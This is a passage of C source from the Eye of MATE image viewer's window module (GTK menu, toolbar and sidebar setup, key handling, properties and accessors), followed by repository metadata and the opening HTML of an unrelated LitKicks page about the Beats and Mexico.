gtk_action_group_add_toggle_actions (priv->actions_collection, toggle_entries_collection, G_N_ELEMENTS (toggle_entries_collection), window); set_action_properties (priv->actions_window, priv->actions_image, priv->actions_collection); gtk_ui_manager_insert_action_group (priv->ui_mgr, priv->actions_collection, 0); if (!gtk_ui_manager_add_ui_from_file (priv->ui_mgr, EOM_DATA_DIR"/eom-ui.xml", &error)) { g_warning ("building menus failed: %s", error->message); g_error_free (error); } g_signal_connect (priv->ui_mgr, "connect_proxy", G_CALLBACK (connect_proxy_cb), window); g_signal_connect (priv->ui_mgr, "disconnect_proxy", G_CALLBACK (disconnect_proxy_cb), window); menubar = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu"); g_assert (GTK_IS_WIDGET (menubar)); gtk_box_pack_start (GTK_BOX (priv->box), menubar, FALSE, FALSE, 0); gtk_widget_show (menubar); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu/Edit/EditFlipHorizontal"); gtk_image_menu_item_set_always_show_image ( GTK_IMAGE_MENU_ITEM (menuitem), TRUE); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu/Edit/EditFlipVertical"); gtk_image_menu_item_set_always_show_image ( GTK_IMAGE_MENU_ITEM (menuitem), TRUE); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu/Edit/EditRotate90"); gtk_image_menu_item_set_always_show_image ( GTK_IMAGE_MENU_ITEM (menuitem), TRUE); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu/Edit/EditRotate270"); gtk_image_menu_item_set_always_show_image ( GTK_IMAGE_MENU_ITEM (menuitem), TRUE); priv->toolbar = GTK_WIDGET (g_object_new (EGG_TYPE_EDITABLE_TOOLBAR, "ui-manager", priv->ui_mgr, "model", eom_application_get_toolbars_model (EOM_APP), NULL)); #if GTK_CHECK_VERSION (3, 0, 2) gtk_style_context_add_class (gtk_widget_get_style_context (GTK_WIDGET (priv->toolbar)), GTK_STYLE_CLASS_PRIMARY_TOOLBAR); #endif egg_editable_toolbar_show (EGG_EDITABLE_TOOLBAR (priv->toolbar), "Toolbar"); gtk_box_pack_start (GTK_BOX (priv->box), priv->toolbar, FALSE, FALSE, 0); gtk_widget_show (priv->toolbar); gtk_window_add_accel_group (GTK_WINDOW (window), gtk_ui_manager_get_accel_group (priv->ui_mgr)); priv->actions_recent = gtk_action_group_new ("RecentFilesActions"); gtk_action_group_set_translation_domain (priv->actions_recent, GETTEXT_PACKAGE); g_signal_connect (gtk_recent_manager_get_default (), "changed", G_CALLBACK (eom_window_recent_manager_changed_cb), window); eom_window_update_recent_files_menu (window); gtk_ui_manager_insert_action_group (priv->ui_mgr, priv->actions_recent, 0); priv->cbox = gtk_vbox_new (FALSE, 0); gtk_box_pack_start (GTK_BOX (priv->box), priv->cbox, TRUE, TRUE, 0); gtk_widget_show (priv->cbox); priv->statusbar = eom_statusbar_new (); gtk_box_pack_end (GTK_BOX (priv->box), GTK_WIDGET (priv->statusbar), FALSE, FALSE, 0); gtk_widget_show (priv->statusbar); priv->image_info_message_cid = gtk_statusbar_get_context_id (GTK_STATUSBAR (priv->statusbar), "image_info_message"); priv->tip_message_cid = gtk_statusbar_get_context_id (GTK_STATUSBAR (priv->statusbar), "tip_message"); priv->layout = gtk_vbox_new (FALSE, 2); #if GTK_CHECK_VERSION (3, 2, 0) hpaned = gtk_paned_new (GTK_ORIENTATION_HORIZONTAL); #else hpaned = gtk_hpaned_new (); #endif priv->sidebar = eom_sidebar_new (); /* The sidebar shouldn't be shown automatically on show_all(), but only when the user actually wants it. */ gtk_widget_set_no_show_all (priv->sidebar, TRUE); gtk_widget_set_size_request (priv->sidebar, 210, -1); g_signal_connect_after (priv->sidebar, "show", G_CALLBACK (eom_window_sidebar_visibility_changed), window); g_signal_connect_after (priv->sidebar, "hide", G_CALLBACK (eom_window_sidebar_visibility_changed), window); g_signal_connect_after (priv->sidebar, "page-added", G_CALLBACK (eom_window_sidebar_page_added), window); g_signal_connect_after (priv->sidebar, "page-removed", G_CALLBACK (eom_window_sidebar_page_removed), window); priv->view = eom_scroll_view_new (); gtk_widget_set_size_request (GTK_WIDGET (priv->view), 100, 100); g_signal_connect (G_OBJECT (priv->view), "zoom_changed", G_CALLBACK (view_zoom_changed_cb), window); g_settings_bind (priv->view_settings, EOM_CONF_VIEW_SCROLL_WHEEL_ZOOM, priv->view, "scrollwheel-zoom", G_SETTINGS_BIND_GET); g_settings_bind (priv->view_settings, EOM_CONF_VIEW_ZOOM_MULTIPLIER, priv->view, "zoom-multiplier", G_SETTINGS_BIND_GET); view_popup = gtk_ui_manager_get_widget (priv->ui_mgr, "/ViewPopup"); eom_scroll_view_set_popup (EOM_SCROLL_VIEW (priv->view), GTK_MENU (view_popup)); gtk_paned_pack1 (GTK_PANED (hpaned), priv->sidebar, FALSE, FALSE); gtk_paned_pack2 (GTK_PANED (hpaned), priv->view, TRUE, FALSE); gtk_widget_show_all (hpaned); gtk_box_pack_start (GTK_BOX (priv->layout), hpaned, TRUE, TRUE, 0); priv->thumbview = g_object_ref (eom_thumb_view_new ()); /* giving shape to the view */ gtk_icon_view_set_margin (GTK_ICON_VIEW (priv->thumbview), 4); gtk_icon_view_set_row_spacing (GTK_ICON_VIEW (priv->thumbview), 0); g_signal_connect (G_OBJECT (priv->thumbview), "selection_changed", G_CALLBACK (handle_image_selection_changed_cb), window); priv->nav = eom_thumb_nav_new (priv->thumbview, EOM_THUMB_NAV_MODE_ONE_ROW, g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_SCROLL_BUTTONS)); // Bind the scroll buttons to their GSettings key g_settings_bind (priv->ui_settings, EOM_CONF_UI_SCROLL_BUTTONS, priv->nav, "show-buttons", G_SETTINGS_BIND_GET); thumb_popup = gtk_ui_manager_get_widget (priv->ui_mgr, "/ThumbnailPopup"); eom_thumb_view_set_thumbnail_popup (EOM_THUMB_VIEW (priv->thumbview), GTK_MENU (thumb_popup)); gtk_box_pack_start (GTK_BOX (priv->layout), priv->nav, FALSE, FALSE, 0); gtk_box_pack_end (GTK_BOX (priv->cbox), priv->layout, TRUE, TRUE, 0); eom_window_can_save_changed_cb (priv->lockdown_settings, EOM_CONF_LOCKDOWN_CAN_SAVE, window); g_settings_bind (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION_POSITION, window, "collection-position", G_SETTINGS_BIND_GET); g_settings_bind (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION_RESIZABLE, window, "collection-resizable", G_SETTINGS_BIND_GET); if ((priv->flags & EOM_STARTUP_FULLSCREEN) || (priv->flags & EOM_STARTUP_SLIDE_SHOW)) { eom_window_run_fullscreen (window, (priv->flags & EOM_STARTUP_SLIDE_SHOW)); } else { priv->mode = EOM_WINDOW_MODE_NORMAL; update_ui_visibility (window); } eom_window_set_drag_dest (window); } static void eom_window_init (EomWindow *window) { GdkGeometry hints; GdkScreen *screen; EomWindowPrivate *priv; eom_debug (DEBUG_WINDOW); hints.min_width = EOM_WINDOW_MIN_WIDTH; hints.min_height = EOM_WINDOW_MIN_HEIGHT; screen = gtk_widget_get_screen (GTK_WIDGET (window)); priv = window->priv = EOM_WINDOW_GET_PRIVATE (window); priv->view_settings = g_settings_new (EOM_CONF_VIEW); priv->ui_settings = g_settings_new (EOM_CONF_UI); priv->fullscreen_settings = g_settings_new (EOM_CONF_FULLSCREEN); priv->lockdown_settings = g_settings_new (EOM_CONF_LOCKDOWN_SCHEMA); g_signal_connect (priv->lockdown_settings, "changed::" EOM_CONF_LOCKDOWN_CAN_SAVE, G_CALLBACK (eom_window_can_save_changed_cb), window); window->priv->store = NULL; window->priv->image = NULL; window->priv->fullscreen_popup = NULL; window->priv->fullscreen_timeout_source = NULL; window->priv->slideshow_random = FALSE; window->priv->slideshow_loop = FALSE; window->priv->slideshow_switch_timeout = 0; window->priv->slideshow_switch_source = NULL; gtk_window_set_geometry_hints (GTK_WINDOW (window), GTK_WIDGET (window), &hints, GDK_HINT_MIN_SIZE); gtk_window_set_default_size (GTK_WINDOW (window), EOM_WINDOW_DEFAULT_WIDTH, EOM_WINDOW_DEFAULT_HEIGHT); gtk_window_set_position (GTK_WINDOW (window), GTK_WIN_POS_CENTER); window->priv->mode = EOM_WINDOW_MODE_UNKNOWN; window->priv->status = EOM_WINDOW_STATUS_UNKNOWN; #ifdef HAVE_LCMS window->priv->display_profile = eom_window_get_display_profile (screen); #endif window->priv->recent_menu_id = 0; window->priv->collection_position = 0; window->priv->collection_resizable = FALSE; window->priv->save_disabled = FALSE; window->priv->page_setup = NULL; } static void eom_window_dispose (GObject *object) { EomWindow *window; EomWindowPrivate *priv; g_return_if_fail (object != NULL); g_return_if_fail (EOM_IS_WINDOW (object)); eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (object); priv = window->priv; if (priv->page_setup != NULL) { g_object_unref (priv->page_setup); priv->page_setup = NULL; } if (priv->thumbview) { /* Disconnect so we don't get any unwanted callbacks * when the thumb view is disposed. */ g_signal_handlers_disconnect_by_func (priv->thumbview, G_CALLBACK (handle_image_selection_changed_cb), window); g_clear_object (&priv->thumbview); } eom_plugin_engine_garbage_collect (); if (priv->store != NULL) { g_signal_handlers_disconnect_by_func (priv->store, eom_window_list_store_image_added, window); g_signal_handlers_disconnect_by_func (priv->store, eom_window_list_store_image_removed, window); g_object_unref (priv->store); priv->store = NULL; } if (priv->image != NULL) { g_signal_handlers_disconnect_by_func (priv->image, image_thumb_changed_cb, window); g_signal_handlers_disconnect_by_func (priv->image, image_file_changed_cb, window); g_object_unref (priv->image); priv->image = NULL; } if (priv->actions_window != NULL) { g_object_unref (priv->actions_window); priv->actions_window = NULL; } if (priv->actions_image != NULL) { g_object_unref (priv->actions_image); priv->actions_image = NULL; } if (priv->actions_collection != NULL) { g_object_unref (priv->actions_collection); priv->actions_collection = NULL; } if (priv->actions_recent != NULL) { g_object_unref (priv->actions_recent); priv->actions_recent = NULL; } if (priv->actions_open_with != NULL) { g_object_unref (priv->actions_open_with); priv->actions_open_with = NULL; } fullscreen_clear_timeout (window); if (window->priv->fullscreen_popup != NULL) { gtk_widget_destroy (priv->fullscreen_popup); priv->fullscreen_popup = NULL; } slideshow_clear_timeout (window); g_signal_handlers_disconnect_by_func (gtk_recent_manager_get_default (), G_CALLBACK (eom_window_recent_manager_changed_cb), window); priv->recent_menu_id = 0; eom_window_clear_load_job (window); eom_window_clear_transform_job (window); if (priv->view_settings) { g_object_unref (priv->view_settings); priv->view_settings = NULL; } if (priv->ui_settings) { g_object_unref (priv->ui_settings); priv->ui_settings = NULL; } if (priv->fullscreen_settings) { g_object_unref (priv->fullscreen_settings); priv->fullscreen_settings = NULL; } if (priv->lockdown_settings) { g_object_unref (priv->lockdown_settings); priv->lockdown_settings = NULL; } if (priv->file_list != NULL) { g_slist_foreach (priv->file_list, (GFunc) g_object_unref, NULL); g_slist_free (priv->file_list); priv->file_list = NULL; } #ifdef HAVE_LCMS if (priv->display_profile != NULL) { cmsCloseProfile (priv->display_profile); priv->display_profile = NULL; } #endif if (priv->last_save_as_folder != NULL) { g_object_unref (priv->last_save_as_folder); priv->last_save_as_folder = NULL; } eom_plugin_engine_garbage_collect (); G_OBJECT_CLASS (eom_window_parent_class)->dispose (object); } static void eom_window_finalize (GObject *object) { GList *windows = eom_application_get_windows (EOM_APP); g_return_if_fail (EOM_IS_WINDOW (object)); eom_debug (DEBUG_WINDOW); if (windows == NULL) { eom_application_shutdown (EOM_APP); } else { g_list_free (windows); } G_OBJECT_CLASS (eom_window_parent_class)->finalize (object); } static gint eom_window_delete (GtkWidget *widget, GdkEventAny *event) { EomWindow *window; EomWindowPrivate *priv; g_return_val_if_fail (EOM_IS_WINDOW (widget), FALSE); window = EOM_WINDOW (widget); priv = window->priv; if (priv->save_job != NULL) { eom_window_finish_saving (window); } if (eom_window_unsaved_images_confirm (window)) { return TRUE; } gtk_widget_destroy (widget); return TRUE; } static gint eom_window_key_press (GtkWidget *widget, GdkEventKey *event) { GtkContainer *tbcontainer = GTK_CONTAINER ((EOM_WINDOW (widget)->priv->toolbar)); gint result = FALSE; gboolean handle_selection = FALSE; switch (event->keyval) { case GDK_KEY_space: if (event->state & GDK_CONTROL_MASK) { handle_selection = TRUE; break; } case GDK_KEY_Return: if (gtk_container_get_focus_child (tbcontainer) == NULL) { /* Image properties dialog case */ if (event->state & GDK_MOD1_MASK) { result = FALSE; break; } if (event->state & GDK_SHIFT_MASK) { eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); } else { eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); } result = TRUE; } break; case GDK_KEY_p: case GDK_KEY_P: if (EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_FULLSCREEN || EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_SLIDESHOW) { gboolean slideshow; slideshow = EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_SLIDESHOW; eom_window_run_fullscreen (EOM_WINDOW (widget), !slideshow); } break; case GDK_KEY_Q: case GDK_KEY_q: case GDK_KEY_Escape: if (EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_FULLSCREEN) { eom_window_stop_fullscreen (EOM_WINDOW (widget), FALSE); } else if (EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_SLIDESHOW) { eom_window_stop_fullscreen (EOM_WINDOW (widget), TRUE); } else { eom_window_cmd_close_window (NULL, EOM_WINDOW (widget)); return TRUE; } break; case GDK_KEY_Left: if (event->state & GDK_MOD1_MASK) { /* Alt+Left moves to previous image */ if (is_rtl) { /* move to next in RTL mode */ eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); } else { eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); } result = TRUE; break; } /* else fall-trough is intended */ case GDK_KEY_Up: if (eom_scroll_view_scrollbars_visible (EOM_SCROLL_VIEW (EOM_WINDOW (widget)->priv->view))) { /* break to let scrollview handle the key */ break; } if (gtk_container_get_focus_child (tbcontainer) != NULL) break; if (!gtk_widget_get_visible (EOM_WINDOW (widget)->priv->nav)) { if (is_rtl && event->keyval == GDK_KEY_Left) { /* handle RTL fall-through, * need to behave like GDK_Down then */ eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); } else { eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); } result = TRUE; break; } case GDK_KEY_Right: if (event->state & GDK_MOD1_MASK) { /* Alt+Right moves to next image */ if (is_rtl) { /* move to previous in RTL mode */ eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); } else { eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); } result = TRUE; break; } /* else fall-trough is intended */ case GDK_KEY_Down: if (eom_scroll_view_scrollbars_visible (EOM_SCROLL_VIEW (EOM_WINDOW (widget)->priv->view))) { /* break to let scrollview handle the key */ break; } if (gtk_container_get_focus_child (tbcontainer) != NULL) break; if (!gtk_widget_get_visible (EOM_WINDOW (widget)->priv->nav)) { if (is_rtl && event->keyval == GDK_KEY_Right) { /* handle RTL fall-through, * need to behave like GDK_Up then */ eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); } else { eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); } result = TRUE; break; } case GDK_KEY_Page_Up: if (!eom_scroll_view_scrollbars_visible (EOM_SCROLL_VIEW (EOM_WINDOW (widget)->priv->view))) { if (!gtk_widget_get_visible (EOM_WINDOW (widget)->priv->nav)) { /* If the iconview is not visible skip to the * previous image manually as it won't handle * the keypress then. */ eom_window_cmd_go_prev (NULL, EOM_WINDOW (widget)); result = TRUE; } else handle_selection = TRUE; } break; case GDK_KEY_Page_Down: if (!eom_scroll_view_scrollbars_visible (EOM_SCROLL_VIEW (EOM_WINDOW (widget)->priv->view))) { if (!gtk_widget_get_visible (EOM_WINDOW (widget)->priv->nav)) { /* If the iconview is not visible skip to the * next image manually as it won't handle * the keypress then. */ eom_window_cmd_go_next (NULL, EOM_WINDOW (widget)); result = TRUE; } else handle_selection = TRUE; } break; } /* Update slideshow timeout */ if (result && (EOM_WINDOW (widget)->priv->mode == EOM_WINDOW_MODE_SLIDESHOW)) { slideshow_set_timeout (EOM_WINDOW (widget)); } if (handle_selection == TRUE && result == FALSE) { gtk_widget_grab_focus (GTK_WIDGET (EOM_WINDOW (widget)->priv->thumbview)); result = gtk_widget_event (GTK_WIDGET (EOM_WINDOW (widget)->priv->thumbview), (GdkEvent *) event); } /* If the focus is not in the toolbar and we still haven't handled the event, give the scrollview a chance to do it. */ if (!gtk_container_get_focus_child (tbcontainer) && result == FALSE && gtk_widget_get_realized (GTK_WIDGET (EOM_WINDOW (widget)->priv->view))) { result = gtk_widget_event (GTK_WIDGET (EOM_WINDOW (widget)->priv->view), (GdkEvent *) event); } if (result == FALSE && GTK_WIDGET_CLASS (eom_window_parent_class)->key_press_event) { result = (* GTK_WIDGET_CLASS (eom_window_parent_class)->key_press_event) (widget, event); } return result; } static gint eom_window_button_press (GtkWidget *widget, GdkEventButton *event) { EomWindow *window = EOM_WINDOW (widget); gint result = FALSE; if (event->type == GDK_BUTTON_PRESS) { switch (event->button) { case 6: eom_thumb_view_select_single (EOM_THUMB_VIEW (window->priv->thumbview), EOM_THUMB_VIEW_SELECT_LEFT); result = TRUE; break; case 7: eom_thumb_view_select_single (EOM_THUMB_VIEW (window->priv->thumbview), EOM_THUMB_VIEW_SELECT_RIGHT); result = TRUE; break; } } if (result == FALSE && GTK_WIDGET_CLASS (eom_window_parent_class)->button_press_event) { result = (* GTK_WIDGET_CLASS (eom_window_parent_class)->button_press_event) (widget, event); } return result; } static gboolean eom_window_focus_out_event (GtkWidget *widget, GdkEventFocus *event) { EomWindow *window = EOM_WINDOW (widget); EomWindowPrivate *priv = window->priv; gboolean fullscreen; eom_debug (DEBUG_WINDOW); fullscreen = priv->mode == EOM_WINDOW_MODE_FULLSCREEN || priv->mode == EOM_WINDOW_MODE_SLIDESHOW; if (fullscreen) { gtk_widget_hide (priv->fullscreen_popup); } return GTK_WIDGET_CLASS (eom_window_parent_class)->focus_out_event (widget, event); } static void eom_window_set_property (GObject *object, guint property_id, const GValue *value, GParamSpec *pspec) { EomWindow *window; EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (object)); window = EOM_WINDOW (object); priv = window->priv; switch (property_id) { case PROP_COLLECTION_POS: eom_window_set_collection_mode (window, g_value_get_enum (value), priv->collection_resizable); break; case PROP_COLLECTION_RESIZABLE: eom_window_set_collection_mode (window, priv->collection_position, g_value_get_boolean (value)); break; case PROP_STARTUP_FLAGS: priv->flags = g_value_get_flags (value); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, property_id, pspec); } } static void eom_window_get_property (GObject *object, guint property_id, GValue *value, GParamSpec *pspec) { EomWindow *window; EomWindowPrivate *priv; g_return_if_fail (EOM_IS_WINDOW (object)); window = EOM_WINDOW (object); priv = window->priv; switch (property_id) { case PROP_COLLECTION_POS: g_value_set_enum (value, priv->collection_position); break; case PROP_COLLECTION_RESIZABLE: g_value_set_boolean (value, priv->collection_resizable); break; case PROP_STARTUP_FLAGS: g_value_set_flags (value, priv->flags); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, property_id, pspec); } } static GObject * eom_window_constructor (GType type, guint n_construct_properties, GObjectConstructParam *construct_params) { GObject *object; object = G_OBJECT_CLASS (eom_window_parent_class)->constructor (type, n_construct_properties, construct_params); eom_window_construct_ui (EOM_WINDOW (object)); eom_plugin_engine_update_plugins_ui (EOM_WINDOW (object), TRUE); return object; } static void eom_window_class_init (EomWindowClass *class) { GObjectClass *g_object_class = (GObjectClass *) class; GtkWidgetClass *widget_class = (GtkWidgetClass *) class; g_object_class->constructor = eom_window_constructor; g_object_class->dispose = eom_window_dispose; g_object_class->finalize = eom_window_finalize; g_object_class->set_property = eom_window_set_property; g_object_class->get_property = eom_window_get_property; widget_class->delete_event = eom_window_delete; widget_class->key_press_event = eom_window_key_press; widget_class->button_press_event = eom_window_button_press; widget_class->drag_data_received = eom_window_drag_data_received; widget_class->focus_out_event = eom_window_focus_out_event; /** * EomWindow:collection-position: * * Determines the position of the image collection in the window * relative to the image. */ g_object_class_install_property ( g_object_class, PROP_COLLECTION_POS, g_param_spec_enum ("collection-position", NULL, NULL, EOM_TYPE_WINDOW_COLLECTION_POS, EOM_WINDOW_COLLECTION_POS_BOTTOM, G_PARAM_READWRITE | G_PARAM_STATIC_NAME)); /** * EomWindow:collection-resizable: * * If %TRUE the collection will be resizable by the user otherwise it will be * in single column/row mode. */ g_object_class_install_property ( g_object_class, PROP_COLLECTION_RESIZABLE, g_param_spec_boolean ("collection-resizable", NULL, NULL, FALSE, G_PARAM_READWRITE | G_PARAM_STATIC_NAME)); /** * EomWindow:startup-flags: * * A bitwise OR of #EomStartupFlags elements, indicating how the window * should behave upon creation. */ g_object_class_install_property (g_object_class, PROP_STARTUP_FLAGS, g_param_spec_flags ("startup-flags", NULL, NULL, EOM_TYPE_STARTUP_FLAGS, 0, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY)); /** * EomWindow::prepared: * @window: the object which received the signal. * * The #EomWindow::prepared signal is emitted when the @window is ready * to be shown. */ signals [SIGNAL_PREPARED] = g_signal_new ("prepared", EOM_TYPE_WINDOW, G_SIGNAL_RUN_LAST, G_STRUCT_OFFSET (EomWindowClass, prepared), NULL, NULL, g_cclosure_marshal_VOID__VOID, G_TYPE_NONE, 0); g_type_class_add_private (g_object_class, sizeof (EomWindowPrivate)); } /** * eom_window_new: * @flags: the initialization parameters for the new window. * * * Creates a new and empty #EomWindow. Use @flags to indicate * if the window should be initialized fullscreen, in slideshow mode, * and/or without the thumbnails collection visible. See #EomStartupFlags. * * Returns: a newly created #EomWindow. **/ GtkWidget* eom_window_new (EomStartupFlags flags) { EomWindow *window; eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (g_object_new (EOM_TYPE_WINDOW, "type", GTK_WINDOW_TOPLEVEL, "startup-flags", flags, NULL)); return GTK_WIDGET (window); } static void eom_window_list_store_image_added (GtkTreeModel *tree_model, GtkTreePath *path, GtkTreeIter *iter, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); update_image_pos (window); update_action_groups_state (window); } static void eom_window_list_store_image_removed (GtkTreeModel *tree_model, GtkTreePath *path, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); update_image_pos (window); update_action_groups_state (window); } static void eom_job_model_cb (EomJobModel *job, gpointer data) { EomWindow *window; EomWindowPrivate *priv; gint n_images; eom_debug (DEBUG_WINDOW); #ifdef HAVE_EXIF int i; EomImage *image; #endif g_return_if_fail (EOM_IS_WINDOW (data)); window = EOM_WINDOW (data); priv = window->priv; if (priv->store != NULL) { g_object_unref (priv->store); priv->store = NULL; } priv->store = g_object_ref (job->store); n_images = eom_list_store_length (EOM_LIST_STORE (priv->store)); #ifdef HAVE_EXIF if (g_settings_get_boolean (priv->view_settings, EOM_CONF_VIEW_AUTOROTATE)) { for (i = 0; i < n_images; i++) { image = eom_list_store_get_image_by_pos (priv->store, i); eom_image_autorotate (image); g_object_unref (image); } } #endif eom_thumb_view_set_model (EOM_THUMB_VIEW (priv->thumbview), priv->store); g_signal_connect (G_OBJECT (priv->store), "row-inserted", G_CALLBACK (eom_window_list_store_image_added), window); g_signal_connect (G_OBJECT (priv->store), "row-deleted", G_CALLBACK (eom_window_list_store_image_removed), window); if (n_images == 0) { gint n_files; priv->status = EOM_WINDOW_STATUS_NORMAL; update_action_groups_state (window); n_files = g_slist_length (priv->file_list); if (n_files > 0) { GtkWidget *message_area; GFile *file = NULL; if (n_files == 1) { file = (GFile *) priv->file_list->data; } message_area = eom_no_images_error_message_area_new (file); eom_window_set_message_area (window, message_area); gtk_widget_show (message_area); } g_signal_emit (window, signals[SIGNAL_PREPARED], 0); } } /** * eom_window_open_file_list: * @window: An #EomWindow. * @file_list: (element-type GFile): A %NULL-terminated list of #GFile's. * * Opens a list of files, adding them to the collection in @window. * Files will be checked to be readable and later filtered according * with eom_list_store_add_files(). **/ void eom_window_open_file_list (EomWindow *window, GSList *file_list) { EomJob *job; eom_debug (DEBUG_WINDOW); window->priv->status = EOM_WINDOW_STATUS_INIT; g_slist_foreach (file_list, (GFunc) g_object_ref, NULL); window->priv->file_list = file_list; job = eom_job_model_new (file_list); g_signal_connect (job, "finished", G_CALLBACK (eom_job_model_cb), window); eom_job_queue_add_job (job); g_object_unref (job); } /** * eom_window_get_ui_manager: * @window: An #EomWindow. * * Gets the #GtkUIManager that describes the UI of @window. * * Returns: (transfer none): A #GtkUIManager. **/ GtkUIManager * eom_window_get_ui_manager (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->ui_mgr; } /** * eom_window_get_mode: * @window: An #EomWindow. * * Gets the mode of @window. See #EomWindowMode for details. * * Returns: An #EomWindowMode. **/ EomWindowMode eom_window_get_mode (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), EOM_WINDOW_MODE_UNKNOWN); return window->priv->mode; } /** * eom_window_set_mode: * @window: an #EomWindow. * @mode: an #EomWindowMode value. * * Changes the mode of @window to normal, fullscreen, or slideshow. * See #EomWindowMode for details. **/ void eom_window_set_mode (EomWindow *window, EomWindowMode mode) { g_return_if_fail (EOM_IS_WINDOW (window)); if (window->priv->mode == mode) return; switch (mode) { case EOM_WINDOW_MODE_NORMAL: eom_window_stop_fullscreen (window, window->priv->mode == EOM_WINDOW_MODE_SLIDESHOW); break; case EOM_WINDOW_MODE_FULLSCREEN: eom_window_run_fullscreen (window, FALSE); break; case EOM_WINDOW_MODE_SLIDESHOW: eom_window_run_fullscreen (window, TRUE); break; case EOM_WINDOW_MODE_UNKNOWN: break; } } /** * eom_window_get_store: * @window: An #EomWindow. * * Gets the #EomListStore that contains the images in the collection * of @window. * * Returns: (transfer none): an #EomListStore. **/ EomListStore * eom_window_get_store (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return EOM_LIST_STORE (window->priv->store); } /** * eom_window_get_view: * @window: An #EomWindow. * * Gets the #EomScrollView in the window. * * Returns: (transfer none): the #EomScrollView. **/ GtkWidget * eom_window_get_view (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->view; } /** * eom_window_get_sidebar: * @window: An #EomWindow. * * Gets the sidebar widget of @window. * * Returns: (transfer none): the #EomSidebar. **/ GtkWidget * eom_window_get_sidebar (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->sidebar; } /** * eom_window_get_thumb_view: * @window: an #EomWindow. * * Gets the thumbnails view in @window. * * Returns: (transfer none): an #EomThumbView. **/ GtkWidget * eom_window_get_thumb_view (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->thumbview; } /** * eom_window_get_thumb_nav: * @window: an #EomWindow. * * Gets the thumbnails navigation pane in @window. * * Returns: (transfer none): an #EomThumbNav. **/ GtkWidget * eom_window_get_thumb_nav (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->nav; } /** * eom_window_get_statusbar: * @window: an #EomWindow. * * Gets the statusbar in @window. * * Returns: (transfer none): a #EomStatusBar. **/ GtkWidget * eom_window_get_statusbar (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->statusbar; } /** * eom_window_get_image: * @window: an #EomWindow. * * Gets the image currently displayed in @window or %NULL if * no image is being displayed. * * Returns: (transfer none): an #EomImage. **/ EomImage * eom_window_get_image (EomWindow *window) { g_return_val_if_fail (EOM_IS_WINDOW (window), NULL); return window->priv->image; } /** * eom_window_is_empty: * @window: an #EomWindow. * * Tells whether @window is currently empty or not. * * Returns: %TRUE if @window has no images, %FALSE otherwise. **/ gboolean eom_window_is_empty (EomWindow *window) { EomWindowPrivate *priv; gboolean empty = TRUE; eom_debug (DEBUG_WINDOW); g_return_val_if_fail (EOM_IS_WINDOW (window), FALSE); priv = window->priv; if (priv->store != NULL) { empty = (eom_list_store_length (EOM_LIST_STORE (priv->store)) == 0); } return empty; } void eom_window_reload_image (EomWindow *window) { GtkWidget *view; g_return_if_fail (EOM_IS_WINDOW (window)); if (window->priv->image == NULL) return; g_object_unref (window->priv->image); window->priv->image = NULL; view = eom_window_get_view (window); eom_scroll_view_set_image (EOM_SCROLL_VIEW (view), NULL); eom_thumb_view_select_single (EOM_THUMB_VIEW (window->priv->thumbview), EOM_THUMB_VIEW_SELECT_CURRENT); }
monsta/eom
src/eom-window.c
C
gpl-2.0
153,265
<html> <head> <title>LitKicks: Mexico</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <meta name="description" content="The beat legacy of Mexico"> <meta name="keywords" content="Mexico,Beat,Kerouac,Road,Kicks,Marijuana,Burroughs,Mexico City,Border"> <BASE HREF="http://www.litkicks.com/BeatPages/"> </head> <BODY BACKGROUND="" BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#006F9F" ALINK="#0000FF" VLINK="#009F6F"> <FONT FACE="helvetica, arial"> <H2>Literary Kicks</H2> <TABLE WIDTH="375" BORDER="0" CELLPADDING="5"> <TR> <TD WIDTH="75">&nbsp;</TD> <TD BGCOLOR="#FFFF2F" WIDTH="180"> <FONT SIZE="-1"> Visit the <A HREF="http://www.litkicks.com/BeatPages/page.jsp?what=Utterances">general discussion board</A> or view <A HREF="http://www.litkicks.com/BeatPages/AllBoards.jsp">list of boards</A> <BR> </FONT> </TD> </TR> </TABLE> <BR> <CENTER> <TABLE WIDTH="580" CELLPADDING="6"> <TR><TD BGCOLOR="#FFEECC"> <CENTER> <FONT COLOR="#002F6F"> 